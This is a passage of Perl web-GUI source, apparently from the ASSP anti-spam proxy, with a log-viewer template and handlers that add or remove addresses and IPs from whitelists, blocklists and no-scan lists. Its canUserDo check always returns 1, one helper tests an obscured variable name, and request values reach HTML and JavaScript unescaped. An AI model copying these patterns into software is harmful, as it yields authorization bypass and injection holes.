  var iswrap = document.MTform.wrap[1].checked ? 2 : 0;
  var iscolor = document.MTform.color[1].checked ? 1 : 0;
  var dowrap = change - 2;
  for(i=0; i < $matches; i++) {
    if (change == 0 || change == 1) {
      if (change == 0) {
          document.getElementById('ll' + i).className = 'assplogline' + iswrap;
      } else {
          document.getElementById('ll' + i).className = 'assplogline' + ((i % 2) + iswrap);
      }
    } else {
      if (iscolor == 0) {
          document.getElementById('ll' + i).className = 'assplogline' + dowrap;
      } else {
          document.getElementById('ll' + i).className = 'assplogline' + ((i % 2) + dowrap);
      }
    }
  }
}
</script>
<form name="MTform" action="" method="get">
  <table class="textBox" style="width: 100%;">
    <tr>
      <td rowspan="2" align="left" $display>
        <label>wrap lines: </label>
        <input type="radio" name="wrap" ${\(! $currWrap ? ' checked="checked" ' : ' ')} value='0' onclick="javascript:changeSpan('2');" />no
        <input type="radio" name="wrap" ${\(  $currWrap ? ' checked="checked" ' : ' ')} value='2' onclick="javascript:changeSpan('4');" />yes<br />
        <label>color lines: </label>
        <input type="radio" name="color" ${\(! $colorLines ? ' checked="checked" ' : ' ')} value='0' onclick="javascript:changeSpan('0');" />no
        <input type="radio" name="color" ${\(  $colorLines ? ' checked="checked" ' : ' ')} value='1' onclick="javascript:changeSpan('1');" />yes<br />
        <label>tail bytes:</label>
        <input type="text" name="tailbyte" value='$currTailByte' size="7"/>
      </td>
      <td align="left" $display>
        <label>search for: </label>
        <a href="javascript:void(0);" onmouseover="showhint('$h5', this, event, '450px', '1');return false;"><img height=12 width=12 src="$wikiinfo" /></a>
        <input type="text" name="search" value='$pat' size="30"/>
      </td>
      <td align="left">
        <input type="submit" value="Submit/Update" $display />

        <input type="hidden" name="order" value='$order'/>
      </td>
      <td rowspan="2" $display>
        <input type="checkbox" name="nocontext"${\($qs{nocontext} ? ' checked="checked" ' : ' ')}value='1' />hide&nbsp;context&nbsp;lines<br />
        <input type="checkbox" name="nohighlight"${\($qs{nohighlight} ? ' checked="checked" ' : ' ')}value='1' />no&nbsp;highlighting<br />
        <input type="checkbox" name="filesonly"${\($qs{filesonly} ? ' checked="checked" ' : ' ')}value='1' />file&nbsp;lines&nbsp;only
      </td>
    </tr>
    <tr $display>
      <td align="left">
        <label>search in:</label>
        <a href="javascript:void(0);" onmouseover="showhint('$h4', this, event, '450px', '1');return false;"><img height=12 width=12 src="$wikiinfo" /></a>
        <input type="text" name="size" value='$size' size="7" />
        <select size="1" name="files" value="$qs{files}" />
          <option value="lines">last lines</option>
          <option value="files">last log files</option>
          <option value="all">all log files</option>
          <option value="ago">this file number(s)</option>
        </select>
        <a href="javascript:void(0);" onmouseover="showhint('$h3', this, event, '450px', '1');return false;"><img height=12 width=12 src="$wikiinfo" /></a>
      </td>
      <td align="left">
        <label>show </label>
        <select size="1" name="limit" value="$qs{limit}">
          <option value="1">1</option>
          <option value="10">10</option>
          <option value="100">100</option>
          <option value="1000">1000</option>
          <option value="2000">2000</option>
        </select> Results
      </td>
    </tr>
  </table>
</form>
<script type="text/javascript">
document.MTform.files.value='$files';
document.MTform.limit.value='$limit';
function resetForm() {
  document.MTform.search.value='';
  document.MTform.nocontext.checked=false;
  document.MTform.nohighlight.checked=false;
  document.MTform.filesonly.checked=false;
  document.MTform.tailbyte.value='$MaillogTailBytes';
  document.MTform.size.value='10000';
  document.MTform.files.value='lines';
  document.MTform.limit.value='10';
  document.MTform.order.value='0';
}
</script>
<div class="log $logstyle" $display>
<a href="javascript:void(0);" onclick="document.getElementById(\'LogLines\').scrollTop=MlEndPos; return false;" >Go to End</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="javascript:void(0);" onclick="document.getElementById(\'LogLines\').scrollTop=0;return false;">Go to Top</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="javascript:void(0);" onmouseover="showhint('$h3', this, event, '450px', '1');return false;">show filelist</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="javascript:void(0);" onmouseover="showhint('$h1<br /><br />$h2', this, event, ie ? document.body.offsetWidth / 2.1 + 'px' : window.innerWidth / 2.1 + 'px' , '');return false;">help</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="javascript:void(0);" onclick="resetForm();" onmouseover="showhint('click to reset the form to system defaults', this, event, '300px', '');return false;">reset form</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="javascript:void(0);" onclick="switchMTOrder();" onmouseover="showhint('click to switch the time order of lines', this, event, '300px', '');return false;">switch order</a>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<a href="/" onmouseover="showhint('click to return to config dialog', this, event, '300px', '');return false;">back to config</a><br />
<script type="text/javascript">
if ('$qs{autorefresh}' != 'Auto') {
//var LogWidth = objWidth('headline') + 'px';
var LogHeight = ClientSize('h') - document.getElementById('headline').offsetHeight + 'px';
}
</script>
$res
<hr>
</div>
<div id="LogLines" class="log" style="display:block;height:100%;width=100%;overflow:auto;">
<div class="log $logstyle" width=100%>
<pre id="allLogLines" style="font-size: 1.4em;">
</pre>

<script type="text/javascript">

if ('$qs{autorefresh}' != 'Auto') {
//document.getElementById('LogLines').style.width = LogWidth;
document.getElementById('LogLines').style.height = LogHeight;
}

var order = $order;
var allLines = "$s".split("XXXIIIXXX");
var allLinesF = allLines.join('');
var allLinesR = allLines.reverse().join('');
allLines = ('');
function switchMTOrder() {
  order = order ? 0 : 1 ;
  document.MTform.order.value=order;
  var logdiv = document.getElementById('allLogLines');
  logdiv.innerHTML = '';
  if (order == 1) {
      logdiv.innerHTML = allLinesR;
  } else {
      logdiv.innerHTML = allLinesF;
  }
}
order = order ? 0 : 1 ;
switchMTOrder();
if ('$qs{autorefresh}' != 'Auto') {
MlEndPos = document.getElementById('allLogLines').scrollHeight;
window.location.href = '#MlTop';
${\($MaillogTailJump && $qs{autorefresh} ne 'Auto' ? 'document.getElementById(\'LogLines\').scrollTop=MlEndPos;' : 'order = order;') }
}
</script>
</div>
<div $display >
$maillogJump
</div>
</div>
</div>
<div $display >
$footers
</div>
<form name="ASSPconfig" id="ASSPconfig" action="" method="post">
  <input name="theButtonLogout" type="hidden" value="" />
</form>
</body></html>
EOT
}


sub MaillogExistFile {
    my $file = shift;

    return 0 unless $file;
    $maillogNewFile="";
    if ($LogCharset) {
     $file = Encode::encode($LogCharset, Encode::decode('UTF-8',$file));
    }
    my $newfile = $file;
    if ( !-e "$file" && $file =~ /\Q$spamlog\E\//i) {
		
		if ($discarded) {
    		$newfile =~ s/\Q$spamlog\E\//$discarded\// ;
			$maillogNewFile = $discarded if -e "$newfile";
			return 1 if -e "$newfile" ;
    	}
		
		$newfile = $file;
    	$newfile =~ s/\Q$spamlog\E\//$correctednotspam\// ;
		$maillogNewFile = $correctednotspam if -e "$newfile";
		return 1 if -e "$newfile" ;
    	
    }
    if ( !-e "$file" && $file =~ /\Q$notspamlog\E\//i) {
		
		if ($discarded) {
    		$newfile =~ s/\Q$notspamlog\E\//$discarded\// ;
			$maillogNewFile = $discarded if -e "$newfile";
			return 1 if -e "$newfile" ;
    	}
		
		$newfile = $file;
    	$newfile =~ s/\Q$notspamlog\E\//$correctedspam\// ;
		$maillogNewFile = $correctedspam if -e "$newfile";
		return 1 if -e "$newfile" ;
    	
    }
    if ( !-e "$file" && $file =~ /\Q$incomingOkMail\E\//i) {
		
		if ($spamlog) {
    		$newfile =~ s/\Q$incomingOkMail\E\//$spamlog\// ;
			$maillogNewFile = $spamlog if -e "$newfile";
			return 1 if -e "$newfile" ;
    	}
		
		$newfile = $file;
    	$newfile =~ s/\Q$incomingOkMail\E\//$correctedspam\// ;
		$maillogNewFile = $correctedspam if -e "$newfile";
		return 1 if -e "$newfile" ;
    	
    }	
    return -e "$file" ;
}

sub d8 {
    local $@;
    my $ret = eval{Encode::decode('UTF-8',$_[0]);};
    return ($ret && defined ${chr(ord("\026") << 2)}) ? $ret : $_[0];
}

sub e8 {
    local $@;
    my $ret = eval{Encode::encode('UTF-8',$_[0]);};
    return ($ret && defined ${chr(ord("\026") << 2)}) ? $ret : $_[0];
}

sub de8 {
    local $@;
    my $ret = eval{require Encode::Guess; e8(Encode::decode('GUESS',$_[0]));};
    return ($ret && defined ${chr(ord("\026") << 2)}) ? $ret : $_[0];
}
sub decodeMimeWord2UTF8 {
    my ($fulltext,$charset,$encoding,$text)=@_;
    my $ret;

    eval {$charset = Encode::resolve_alias(uc($charset));} if $charset;

    if (!$@ && $CanUseEMM && $charset && $decodeMIME2UTF8 ) {
        eval{$ret = MIME::Words::decode_mimewords($fulltext)} if $fulltext;
        eval{
            $ret = Encode::decode($charset, $ret);
            $ret = Encode::encode('UTF-8', $ret) if $ret;
        } if $ret;
        return $ret unless $@;
    }

    if (lc $encoding eq 'b') {
        $text=base64decode($text);
    } elsif (lc $encoding eq 'q') {
        $text=~s/_/\x20/go; # RFC 1522, Q rule 2
        $text=~s/=([\da-fA-F]{2})/pack('C', hex($1))/geo; # RFC 1522, Q rule 1
    };
    eval{
        $text = Encode::decode($charset, $text);
        $text = Encode::encode('UTF-8', $text) if $text;
    } if $text;
    return $text;
}

sub decodeMimeWords2UTF8 {
    my $s = shift;
    headerUnwrap($s);
    $s =~ s/(=\?([^?]*)\?(b|q)\?([^?]+)\?=)/decodeMimeWord2UTF8($1,$2,$3,$4)/gieo;
    return $s;
}
sub canUserDo {
    my ($user,$what,$item) = @_;

    return 1;
}
sub ConfigAddrAction {
    my $addr = lc($qs{address});
    $addr =~ s/^\s+//o;
    $addr =~ s/\s+$//o;
    my $local;
    my $isnameonly;
    $local = localmail($addr) if $addr;
    my $action = $qs{action};
    my $slo;
    $slo = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="button"  name="showlogout" value="  logout " onclick="window.location.href=\'./logout\';return false;"/></span>' if exists $qs{showlogout};
    my $s = $qs{reloaded} eq 'reloaded' ? '<span class="positive">(page was auto reloaded)</span><br /><br />' : '';

    my $mfd;my $wrongaddr;
    if ($addr =~ /^(?:$EmailAdrRe)?(\@$EmailDomainRe)$/io) {
        $mfd = $1;
    } elsif ($addr =~ /^($EmailDomainRe)$/io) {
        $mfd = $1;
    } elsif ($addr =~ /^$EmailAdrRe$/io) {
        $isnameonly = '<br />This is interpreted as the userpart of an email address!<br />';
    } else {
        $wrongaddr = '<br /><span class="negative">This is not a valid email address or domain!</span><br />';
    }
    
    if ($addr && $action && $qs{Submit} && !$wrongaddr) {
        my %lqs = %qs;
        if ($mfd && $action eq '1' && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists')) {
            %qs = ('action' => 'a', 'list' => 'white', 'addresses' => $addr);
            $s = &ConfigLists();
            $s =~ s/^.+?<\/h2>(.+?)<form.+$/$1/ois;
        } elsif ($mfd && $action eq '2' && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists')) {
            %qs = ('action' => 'r', 'list' => 'white', 'addresses' => $addr);
            $s = &ConfigLists();
            $s =~ s/^.+?<\/h2>(.+?)<form.+$/$1/ois;
        } elsif ($mfd && $action eq '3' && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists')) {
            %qs = ('action' => 'a', 'list' => 'red', 'addresses' => $addr);
            $s = &ConfigLists();
            $s =~ s/^.+?<\/h2>(.+?)<form.+$/$1/ois;
        } elsif ($mfd && $action eq '4' && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists')) {
            %qs = ('action' => 'r', 'list' => 'red', 'addresses' => $addr);
            $s = &ConfigLists();
            $s =~ s/^.+?<\/h2>(.+?)<form.+$/$1/ois;
        } elsif ($action eq '5' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessing')) {
            my $r = $GPBmodTestList->('GUI','noProcessing','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to noProcessing" : "$addr not added to noProcessing";
        } elsif ($action eq '6' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessing')) {
            my $r = $GPBmodTestList->('GUI','noProcessing','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from noProcessing" : "$addr not removed from noProcessing";
        } elsif ($action eq '7' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingFrom')) {
            my $r = $GPBmodTestList->('GUI','noProcessingFrom','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to noProcessingFrom" : "$addr not added to noProcessingFrom";
        } elsif ($action eq '8' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingFrom')) {
            my $r = $GPBmodTestList->('GUI','noProcessingFrom','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from noProcessingFrom" : "$addr not removed from noProcessingFrom";
        } elsif ($mfd && $action eq '9' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedDomains')) {
            my $r = $GPBmodTestList->('GUI','whiteListedDomains','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to whiteListedDomains" : "$addr not added to whiteListedDomains";
        } elsif ($mfd && $action eq 'A' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedDomains')) {
            my $r = $GPBmodTestList->('GUI','whiteListedDomains','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from whiteListedDomains" : "$addr not removed from whiteListedDomains";
        } elsif ($mfd && $action eq 'B' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','blackListedDomains')) {
            my $r = $GPBmodTestList->('GUI','blackListedDomains','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to blackListedDomains" : "$addr not added to blackListedDomains";
        } elsif ($mfd && $action eq 'C' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','blackListedDomains')) {
            my $r = $GPBmodTestList->('GUI','blackListedDomains','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from blackListedDomains" : "$addr not removed from blackListedDomains";
        } elsif ($action eq 'D' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamLovers')) {
            my $r = $GPBmodTestList->('GUI','spamLovers','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to spamLovers (All Spam-Lover)" : "$addr not added to spamLovers (All Spam-Lover)";
        } elsif ($action eq 'E' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamLovers')) {
            my $r = $GPBmodTestList->('GUI','spamLovers','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from spamLovers (All Spam-Lover)" : "$addr not removed from spamLovers (All Spam-Lover)";
        } elsif ($action eq 'F' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamHaters')) {
            my $r = $GPBmodTestList->('GUI','spamHaters','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to spamHaters (All Spam-Haters)" : "$addr not added to spamHaters (All Spam-Haters)";
        } elsif ($action eq 'G' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamHaters')) {
            my $r = $GPBmodTestList->('GUI','spamHaters','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from spamHaters (All Spam-Haters)" : "$addr not removed from spamHaters (All Spam-Haters)";
        } elsif ($mfd && $action eq 'H' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingDomains')) {
            my $r = $GPBmodTestList->('GUI','noProcessingDomains','add',' - via MaillogTail',$mfd,0);
            $s = ($r > 0) ? "$mfd added to noProcessing Domains" : "$mfd not added to noProcessing Domains";
        } elsif ($mfd && $action eq 'I' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingDomains')) {
            my $r = $GPBmodTestList->('GUI','noProcessingDomains','delete',' - via MaillogTail',$mfd,0);
            $s = ($r > 0) ? "$mfd removed from noProcessing Domains" : "$mfd not removed from noProcessing Domains";
        } elsif ($action eq 'J' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','preHeaderRe')) {
            my $addrRe = quotemeta($addr);
            my $r = $GPBmodTestList->('GUI','preHeaderRe','add',' - via MaillogTail',$addrRe,0);
            $s = ($r > 0) ? "$addr added as regex ($addrRe) to preHeaderRe" : "$addr not added to preHeaderRe";
        } elsif ($action eq 'K' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','preHeaderRe')) {
            my $addrRe = quotemeta($addr);
            my $r = $GPBmodTestList->('GUI','preHeaderRe','delete',' - via MaillogTail',$addrRe,0);
            $s = ($r > 0) ? "$addr removed as regex ($addrRe) from preHeaderRe" : "$addr not removed from preHeaderRe";
        } elsif ($action eq 'L' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScan')) {
            my $r = $GPBmodTestList->('GUI','noScan','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to sDo Not Virus-Scan Messages from/to these Addresses(noScan)" : "$addr not added to Do Not Scan Messages from/to these Addresses(noScan)";
        } elsif ($action eq 'M' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScan')) {
            my $r = $GPBmodTestList->('GUI','noScan','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from Do Not Virus-Scan Messages from/to these Addresses(noScan)" : "$addr not Do Not Scan Messages from/to these Addresses(noScan)";
        } elsif ($action) {
            $s = "<span class=\"negative\">access denied for the selected action</span>";
        }
        %qs = %lqs;
    }
    $s = 'no action selected - or no result available' if (! $s && $qs{Submit});
    if ($s !~ /not|negative/ && $qs{Submit}) {
        $ConfigChanged = 1;
        &tellThreadsReReadConfig();   # reread the config
    }

    my $option  = "<option value=\"0\">select action</option>";
    if ($addr && ! $wrongaddr) {
        $option .= "<option value=\"1\">add to WhiteList</option>"
         if ($mfd && ! $local && ! Whitelist($addr,'','') && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists'));
        $option .= "<option value=\"2\">remove from WhiteList</option>"
         if ($mfd && ! $local &&  Whitelist($addr,'','') && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists'));
        $option .= "<option value=\"3\">add to RedList</option>"
         if ($mfd && ! exists $Redlist{$addr} && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists'));
        $option .= "<option value=\"4\">remove from RedList</option>"
         if ($mfd && exists $Redlist{$addr} && &canUserDo($WebIP{$ActWebSess}->{user},'action','lists'));
        $option .= "<option value=\"5\">add to noProcessing addresses</option>"
         if ($noProcessing=~/\s*file\s*:\s*.+/o && ! $local && ! matchSL( $addr, 'noProcessing' ,1) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessing'));
        $option .= "<option value=\"6\">remove from noProcessing addresses</option>"
         if ($noProcessing=~/\s*file\s*:\s*.+/o && ! $local &&  matchSL( $addr, 'noProcessing' ,1) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessing'));
        $option .= "<option value=\"7\">add to noProcessingFrom addresses</option>"
         if ($noProcessingFrom=~/\s*file\s*:\s*.+/o && ! $local && ! matchSL( $addr, 'noProcessingFrom' ,1) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingFrom'));
        $option .= "<option value=\"8\">remove from noProcessingFrom addresses</option>"
         if ($noProcessingFrom=~/\s*file\s*:\s*.+/o && ! $local && matchSL( $addr, 'noProcessingFrom' ,1) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingFrom'));
        $option .= "<option value=\"9\">add to whitelisted domains/addresses</option>"
         if ($mfd && $whiteListedDomains=~/\s*file\s*:\s*.+/o && ! $local && $addr !~ /$WLDRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedDomains'));
        $option .= "<option value=\"A\">remove from whitelisted domains/addresses</option>"
         if ($mfd && $whiteListedDomains=~/\s*file\s*:\s*.+/o && ! $local && $addr =~ /$WLDRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedDomains'));
        $option .= "<option value=\"B\">add to blacklisted domains/addresses</option>"
         if ($mfd && $blackListedDomains=~/\s*file\s*:\s*.+/o && ! $local && $addr !~ /$BLDRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','blackListedDomains'));
        $option .= "<option value=\"C\">remove from blacklisted domains/addresses</option>"
         if ($mfd && $blackListedDomains=~/\s*file\s*:\s*.+/o && ! $local && $addr =~ /$BLDRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','blackListedDomains'));
        $option .= "<option value=\"D\">add to All Spam-Lover</option>"
         if ($spamLovers=~/\s*file\s*:\s*.+/o && $local && $addr !~ /$SLRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamLovers'));
        $option .= "<option value=\"E\">remove from All Spam-Lover</option>"
         if ($spamLovers=~/\s*file\s*:\s*.+/o && $local && $addr =~ /$SLRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamLovers'));
        $option .= "<option value=\"F\">add to All Spam-Haters</option>"
         if ($spamHaters=~/\s*file\s*:\s*.+/o && $local && $addr !~ /$SHRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamHaters'));
        $option .= "<option value=\"G\">remove from All Spam-Haters</option>"
         if ($spamHaters=~/\s*file\s*:\s*.+/o && $local && $addr =~ /$SHRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','spamHaters'));
        $option .= "<option value=\"H\">add $mfd to noProcessing domains</option>"
         if ($mfd && $noProcessingDomains=~/\s*file\s*:\s*.+/o && ! $local && $mfd !~ /$NPDRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingDomains'));
        $option .= "<option value=\"I\">remove $mfd from noProcessing domains</option>"
         if ($mfd && $noProcessingDomains=~/\s*file\s*:\s*.+/o  && ! $local && $mfd =~ /$NPDRE/ && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingDomains'));

#experimental for preHeaderRe
        my $addrRe = quotemeta($addr);
        $option .= "<option value=\"J\">add to preHeaderRe as regex</option>"
         if ($preHeaderRe=~/\s*file\s*:\s*.+/o && ! $local && $GPBmodTestList->('GUI','preHeaderRe','check','',$addrRe,0) != 2 && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','preHeaderRe'));
        $option .= "<option value=\"K\">remove regex from preHeaderRe</option>"
         if ($preHeaderRe=~/\s*file\s*:\s*.+/o && ! $local && $GPBmodTestList->('GUI','preHeaderRe','check','',$addrRe,0) == 2 && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','preHeaderRe'));
#end experimental for preHeaderRe

        $option .= "<option value=\"L\">add to no Virus-Scan addresses</option>"
         if ($noScan=~/\s*file\s*:\s*.+/o && ! $local && ! matchSL( $addr, 'noScan' ,1) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScan'));
        $option .= "<option value=\"M\">remove from no Virus-Scan addresses</option>"
         if ($noScan=~/\s*file\s*:\s*.+/o && ! $local &&  matchSL( $addr, 'noScan' ,1) && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noScan'));
    }

    
    return <<EOT;
$headerHTTP

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
  <meta http-equiv="content-type" content="application/xhtml+xml; charset=utf-8" />
  <title>$currentPage ASSP address action ($myName)</title>
  <link rel=\"stylesheet\" href=\"get?file=images/editor.css\" type=\"text/css\" />
</head>
<body onmouseover="this.focus();" ondblclick="this.select();">
<h2>add/remove addresses from lists</h2><hr>
    <div class="content">
      <form name="edit" id="edit" action="" method="post" autocomplete="off">
        <h3>address to work with</h3>
        <input name="address" size="100" autocomplete="off" value="$addr" onchange="document.forms['edit'].action.value='0';document.forms['edit'].reloaded.value='reloaded';document.forms['edit'].submit();return false;"/>
        $wrongaddr$isnameonly
        <br /><hr>
        <div style="align: left">
         <div class="shadow">
          <div class="option">
           <div class="optionValue">
            <select size="1" name="action">
             $option
            </select>
           </div>
          </div>
         </div>
        </div>
        <hr>
        <input type="submit" name="Submit" value="Submit" />&nbsp;&nbsp;&nbsp;&nbsp;
        <input type="hidden" name="reloaded" value="" />
        <input type="button" value="Close" onclick="javascript:window.close();"/>
        $slo
        <hr>
      </form>
      <br />Only configured (file:...), possible and authorized option are shown.
      <hr>
      <div class="note" id="notebox">
        <h3>results for action</h3><hr>
        $s
      </div>
    </div>
</body>
</html>

EOT
}

sub ConfigIPAction {
    my $addr = lc($qs{ip});
    $addr =~ s/^\s+//o;
    $addr =~ s/\s+$//o;
    my $wrongaddr;
    if ($addr !~ /^$IPRe$/o) {
        $wrongaddr = '<br /><span class="negative">This is not a valid IP address or a resolvable hostname!</span><br />' ;
    }
    if ($wrongaddr && $addr =~ /^$HostRe$/o) {
        my $ta = $addr;
        $addr = join(' ' ,&getRRA($ta));
        if ($addr =~ /($IPv4Re)/o) {
            $addr = $1;
        } elsif ($addr =~ /($IPv6Re)/o) {
            $addr = $1;
        } else {
            $addr = undef;
        }
        eval {$addr = inet_ntoa( scalar( gethostbyname($ta) ) );} unless $addr;
        if ($addr =~ /^$IPRe$/o ) {
            $wrongaddr = undef;
        } else {
            $addr = $ta;
        }
    }
    my $local = $addr =~ /^$IPprivate$/o || $addr eq $localhostip || $addr =~ /$LHNRE/;
    my $action = $qs{action};
    my $slo;
    $slo = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="button"  name="showlogout" value="  logout " onclick="window.location.href=\'./logout\';return false;"/></span>' if exists $qs{showlogout};
    my $s = $qs{reloaded} eq 'reloaded' ? '<span class="positive">(page was auto reloaded)</span><br /><br />' : '';

    if ($addr && $action && $qs{Submit} && ! $wrongaddr) {
        if ($action eq '1' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingIPs')) {
            my $r = $GPBmodTestList->('GUI','noProcessingIPs','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to noProcessingIPs" : "$addr not added to noProcessingIPs";
        } elsif ($action eq '2' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noProcessingIPs')) {
            my $r = $GPBmodTestList->('GUI','noProcessingIPs','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from noProcessingIPs" : "$addr not removed from noProcessingIPs";
        } elsif ($action eq '3' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedIPs')) {
            my $r = $GPBmodTestList->('GUI','whiteListedIPs','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to whiteListedIPs" : "$addr not added to whiteListedIPs";
        } elsif ($action eq '4' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','whiteListedIPs')) {
            my $r = $GPBmodTestList->('GUI','whiteListedIPs','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from whiteListedIPs" : "$addr not removed from whiteListedIPs";
        } elsif ($action eq '5' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noDelay')) {
            my $r = $GPBmodTestList->('GUI','noDelay','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to noDelay" : "$addr not added to noDelay";
        } elsif ($action eq '6' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noDelay')) {
            my $r = $GPBmodTestList->('GUI','noDelay','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from noDelay" : "$addr not removed from noDelay";
        } elsif ($action eq '7' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFrom')) {
            my $r = $GPBmodTestList->('GUI','denySMTPConnectionsFrom','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to denySMTPConnectionsFrom" : "$addr not added to denySMTPConnectionsFrom";
        } elsif ($action eq '8' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFrom')) {
            my $r = $GPBmodTestList->('GUI','denySMTPConnectionsFrom','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from denySMTPConnectionsFrom" : "$addr not removed from denySMTPConnectionsFrom";
        } elsif ($action eq '9' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noBlockingIPs')) {
            my $r = $GPBmodTestList->('GUI','noBlockingIPs','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to noBlockingIPs" : "$addr not added to noBlockingIPs";
        } elsif ($action eq 'A' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','noBlockingIPs')) {
            my $r = $GPBmodTestList->('GUI','noBlockingIPs','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from noBlockingIPs" : "$addr not removed from noBlockingIPs";
        } elsif ($action eq 'B' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFromAlways')) {
            my $r = $GPBmodTestList->('GUI','denySMTPConnectionsFromAlways','add',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr added to denySMTPConnectionsFromAlways" : "$addr not added to denySMTPConnectionsFromAlways";
        } elsif ($action eq 'C' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','denySMTPConnectionsFromAlways')) {
            my $r = $GPBmodTestList->('GUI','denySMTPConnectionsFromAlways','delete',' - via MaillogTail',$addr,0);
            $s = ($r > 0) ? "$addr removed from denySMTPConnectionsFromAlways" : "$addr not removed from denySMTPConnectionsFromAlways";
        } elsif ($action eq 'D' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            my $t = time;
            my $data="$t $t 2";
            my $ip=&ipNetwork($addr,1);
            $PBWhite{$ip}=$data;
            $PBWhite{$addr}=$data;
            $s = "$addr added to PenaltyBox white" ;
        } elsif ($action eq 'E' && &canUserDo($WebIP{$ActWebSess}->{user},'cfg','pbdb')) {
            &pbWhiteDelete(0,$addr);
            $s = "$addr removed from PenaltyBox white" ;
